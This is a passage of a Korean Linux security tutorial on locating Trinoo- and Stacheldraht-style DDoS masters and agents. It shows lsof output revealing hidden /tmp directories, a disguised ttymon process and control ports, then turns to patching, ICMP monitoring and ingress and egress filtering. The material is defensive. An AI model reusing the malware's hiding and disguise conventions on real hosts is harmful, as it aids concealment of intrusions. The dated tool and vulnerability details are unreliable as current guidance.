이러한 기법을 이용하여 그동안  agent와  master들을  찾아낼수 있는 툴들이  발표되었으며
다음의 것들이 있다.

FBI에서 만든
Find Distributed Denial of Service (find_ddos) 3.0 (Intel)
Find Distributed Denial of Service (find_ddos) 3.0 (Sparc)
http://www.fbi.gov/nipc/trinoo.htm
그러나 FBI에서 제공하는 이 툴들은 소스코드를 공개하지 않고 binary로만 제공하기 때문에 툴의 특성은 정확히 알수 없다.

한편, theorygroup이란 곳에서는  RID라는 DDoS도구 검출 tool을 제작하여 공개 배포하고 있으며 다음에서 구할수 있다.
http://theorygroup.com/Software/RID/

5. handler(client)프로그램의 실행상황 검출을 통한 위치추적

실행프로그램의 상황을 볼수 있는 lsof프로그램을 이용하여  handler(client)프로그램이 사용하고 있는 자원들과 network상황을 살펴보게 되면  이에 연결되어 있는 agent의 IP주소를 알수 있다,
 

master# lsof -c mserv
COMMAND  PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
mserv   1072 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1072 root  rtd    DIR    3,3    1024     2 /
mserv   1072 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1072 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1072 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1072 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1072 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    3u  sock    0,0          2143 can't identify protocol
mserv   1073 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1073 root  rtd    DIR    3,3    1024     2 /
mserv   1073 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1073 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1073 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1073 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1073 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    3u  inet   2144           TCP *:16660 (LISTEN)
mserv   1088 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1088 root  rtd    DIR    3,3    1024     2 /
mserv   1088 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1088 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1088 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1088 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1088 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    3r  FIFO    0,0          2227 pipe
mserv   1088 root    5w  FIFO    0,0          2227 pipe
mserv   1091 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1091 root  rtd    DIR    3,3    1024     2 /
mserv   1091 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1091 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1091 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1091 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1091 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    3r  FIFO    0,0          2240 pipe
mserv   1091 root    4u  inet   2215           TCP
111.222.111.222:16660->100.1.1.1:1029 (ESTABLISHED)
mserv   1091 root    5w  FIFO    0,0          2240 pipe

한편 참고로 agent의 프로세스 상황을 lsof로 살펴보면 다음과 같다.
 

agent#lsof -c td
COMMAND PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
ttymon  437 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
ttymon  437 root  rtd    DIR    3,1    1024     2 /
ttymon  437 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../td
ttymon  437 root  mem    REG    3,1  243964 29140 /lib/libnss_files-2.1.1.so
ttymon  437 root  mem    REG    3,1 4016683 29115 /lib/libc-2.1.1.so
ttymon  437 root  mem    REG    3,1  342206 28976 /lib/ld-2.1.1.so
ttymon  437 root    3u  sock    0,0           779 can't identify protocol
ttymon  449 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
ttymon  449 root  rtd    DIR    3,1    1024     2 /
ttymon  449 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../td
ttymon  449 root    0u  inet    811           TCP *:32222 (LISTEN)
ttymon  449 root    3u  sock    0,0           779 can't identify protocol

V. master나 agent로 이용당하지 않기 위한 대비책

DDoS공격을 당하여 서비스 불능 상태에 빠지는 네트웍 기관보다도 오히려
DDoS공격에 master나 agent로 이용당한 도메인 기관의 명예는 그야말로  엄청난 먹칠이 된다.
보안이 취약했다는 것은 물론이고 자칫하면 DDoS공격자로도 의심받을지도 모른다.

stacheldraht 프로그램들은 통신을 위해서 ICMP_echo reply패킷을 사용하므로,  ICMP패킷 전체를 router에서 막지 않는한 이들의 통신을 차단하는 것은  거의 불가능하다고 할수 있다.  (또한 ICMP패킷을 막는다는 것은 인터넷에 연결하지 않는다는 말과 거의 같은 얘기다.)

따라서 ICMP패킷 전체를 막을수 없는 경우에는 ping프로그램을 이용하여 평소의 ICMP ECHO나 ICMP ECHO REPLY패킷과 다른 이상한 점이 있는지는 잘 관찰해 보아야 한다.
이것은 이것은 물론 말처럼 간단하지 않다. 특히 대규모인 네트워크의 경우는 사실상 불가능한 이론적인 방법에 불과할 것이다.

결국 이용당하지 않기 위한 사실상 유일한 방법은  해킹당하지 않는 것 뿐이다.
또한 해킹당하더라도 주기적인 점검과 모니터링을 통하여 침입자가 심어놓은 불법적인 프로그램들을 제거하는 것만이 유일한 대책이다. 또, 네트워크 스캔 도구나 모니터링 도구를
이용하여 자신의 네트워크 내에 공격 데몬이나 마스터가 깔려져 있는지 탐지할 수 있다.

DDoS공격용 프로그램이 설치된 대부분의 시스템들은 보안이 허술한 경우가 많은데, 운영체제나 응용프로그램의 주기적인 패치를 비롯한 기본적인 보안관리에 신경을 써야만 한다. 특히, Linux 시스템의 amd 유틸리티, mountd 데몬, 그리고 솔라리스 시스템의 RPC 서비스 취약점으로 인해 많은 공격을 받고 있으므로 이들에 대한 패치에 주의하여야만 한다.

마지막으로, 자신의 네트워크에서 소스 IP주소가 위장되어서 나가는 패킷을 막는다.(egress 필터링)
대부분의 서비스거부공격은 소스 IP를 위장하여 공격하므로 라우터나 침입차단시스템에서
위장된 주소를 가진 패킷을 차단한다.
 

VI. DDoS공격에 대한 대비책
 

1. 라우터에서의 공격주소에 의한 차단

대규모 데이터를 보내는 DDoS 공격을 막기 위해서는 네트워크 차원에서의 접근통제가 필요하다.
공격 주소로부터의 모든 패킷을 차단해야 하나,  DDOS 공격의 특성상 공격자 주소는 하나가 아닌 수십 수백개가 될 수도 있으며 위장된 주소일 가능성도 있고,  공격이 시작된후에 네트웍 이상을 사람이 인지하는데는 얼마 시간이 걸리지 않기 때문에 주소단위로 차단하는 것은 쉽지 않다.
 

2.  라우터의 ingress 필터링 기능

ingress는  외부 인터넷으로부터 들어오는 packet을 의미하며,  egress는 내부네트웍에서 외부로 나가는 패킷을 말한다.
ingress 필터링이란  지정한 IP(도메인)로부터의 패킷만이 라우터를 통과하게끔 패킷 필터링을 하는 것


[원글링크] : https://www.linux.co.kr/home2/board/subbs/board.php?bo_table=lecture&wr_id=389


이 글을 트위터로 보내기 이 글을 페이스북으로 보내기 이 글을 미투데이로 보내기

 
(주) 수퍼유저